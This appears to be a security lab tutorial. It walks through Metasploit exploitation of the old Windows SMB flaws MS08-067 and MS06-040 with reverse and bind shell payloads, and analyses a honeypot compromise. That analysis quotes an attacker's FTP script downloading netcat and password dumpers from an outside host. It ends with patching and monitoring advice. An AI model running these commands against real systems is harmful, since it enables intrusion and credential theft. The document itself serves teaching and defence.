Metasploit Windows Remote Exploitation

This section demonstrates exploiting the MS08-067 vulnerability (CVE-2008-4250), a critical Windows SMB service remote code execution vulnerability affecting port 445.

Target Environment

• Attacker machine: Kali Linux at 192.168.20.129
• Target machine: Windows 2000 at 192.168.20.132

Exploitation Process

Launch the Metasploit framework:

msfconsole

Search for the MS08-067 exploit module:

search ms08_067

Load the exploit module:

use windows/smb/ms08_067_netapi

Review available configuration options:

show options

Display available payloads:

show payloads

Configure the reverse TCP shell payload:

set payload generic/shell_reverse_tcp
set RHOST 192.168.20.132
set LHOST 192.168.20.129

Execute the exploit:

exploit

Upon successful exploitation, a command shell session is established with the target system. The vulnerability exploits a buffer overflow in the Windows Server service (SRVSYS.sys) through the SMB protocol, allowing arbitrary code execution without authentication.

Network Traffic Analysis

Capture and analyze the attack traffic using Wireshark. Filter for TCP port 4444 to observe the reverse shell communication. The exploitation leverages multiple SMB vulnerabilities including the DCERPC parser denial of service and SPOOLSS print service impersonation vulnerabilities.

Forensic Analysis: IIS Unicode Attack

This section analyzes a successful compromise of a Windows NT system deployed as a honeypot.

Attack Scenario

• Attacker: 212.116.251.162
• Target (Honeypot): 172.16.1.106 (lab.wiretrip.net)

Attack Vector Analysis

The attack sequence proceeds as follows:

1. Initial Reconnaissance: The attacker performs initial reconnaissance and identifies the target running IIS web server.

2. Directory Traversal Exploitation: Using the IIS Unicode vulnerability, the attacker successfully reads the boot.ini file, confirming arbitrary file read capability.

3. Remote Command Execution: The attacker exploits the msadcs.dll RDS vulnerability to execute commands via SQL injection against the AdvancedDataFactory.Query endpoint.

4. Tool Deployement: The attacker creates an FTP script to download additional tools:

echo open 213.116.251.162 > ftpcom
echo attacker_user >> ftpcom
echo attacker_pass >> ftpcom
echo get nc.exe >> ftpcom
echo get pdump.exe >> ftpcom
echo get samdump.dll >> ftpcom
echo quit >> ftpcom
ftp -s:ftpcom

5. Payload Delivery: Three primary tools are transferred:

   • nc.exe - Netcat for reverse shell
   • pdump.exe - Password dumper
   • samdump.dll - SAM database extractor

6. Shell Establishment: The attacker executes Netcat to establish an interactive command shell.

7. Post-Exploitation Activities:

   • Attempts privilege escalation
   • Dumps password hashes
   • Attempts exfiltration of credentials
   • Leaves a message in the system
   • Removes tools to cover tracks

Attack Tools Identified

• Primary Exploit: IIS Unicode + RDS/ADC vulnerability chain
• Post-Exploitation: Netcat (nc.exe)
• Credential Harvesting: pwdump variants
• Scanner: whisker (for IIS vulnerability scanning)

Defense Recommendations

To prevent similar attacks:

1. Apply Microsoft security patches promptly, especially for IIS vulnerabilities
2. Disable unnecessary IIS extensions like msadcs.dll
3. Implement proper input validation to prevent directory traversal
4. Deploy antivirus and intrusion detection systems
5. Configure firewall rules to restrict access to sensitive ports
6. Monitor for suspicious patterns in web server logs

Honeypot Detection

The attacker became aware of the honeypot nature, as evidenced by messages left in stream 174 during the post-exploitation phase.

MS06-040 Exploitation

Another critical Windows SMB vulnerability (MS06-040 / CVE-2006-3439) enables remote code execution through specially crafted RPC requests.

Exploitation Steps

Launch Metasploit:

msfconsole

Select the exploit module:

use exploit/windows/smb/ms06_040_netapi
set RHOST 192.168.20.132
set LHOST 192.168.20.129

View available targets:

show targets
set target 0

Configure a bind TCP shell payload:

set payload windows/shell_bind_tcp
exploit

Traffic Analysis

The attack involves:

1. Establishing SMB session on port 445
2. Completing protocol negotiation and session establishment
3. Connecting to IPC$ share
4. Sending malformed data through the \SPOOLSS named pipe
5. Triggering buffer overflow in the print service API
6. Achieving remote code execution

Key Concepts

Metasploit Framework Components

• Exploit: Code that triggers a vulnerability
• Payload: Code executed after successful exploitation (reverse shell, add user, etc.)
• Meterpreter: Advanced reverse shell with extensive post-exploitation capabilities

Common Windows Vulnerabilities

Vulnerability	Port	Risk
MS08-067	445	Remote Code Execution
MS06-040	445	Remote Code Execution
IIS Unicode	80	Directory Traversal
msadcs.dll	80	Command Execusion

Attack Methodology

Standard penetration testing workflow:

1. Information gathering
2. Vulnerability scanning
3. Exploitation
4. Shell access
5. Privilege escalation
6. Persistence / Backdoor installation
7. Covering tracks

Conclusion

This analysis demonstrates the critical importance of patch management, proper network segmentation, and security monitoring. Organizations should regularly update systems, disable unused services, implement defense-in-depth strategies, and maintain comprehensive logging for incident response purposes.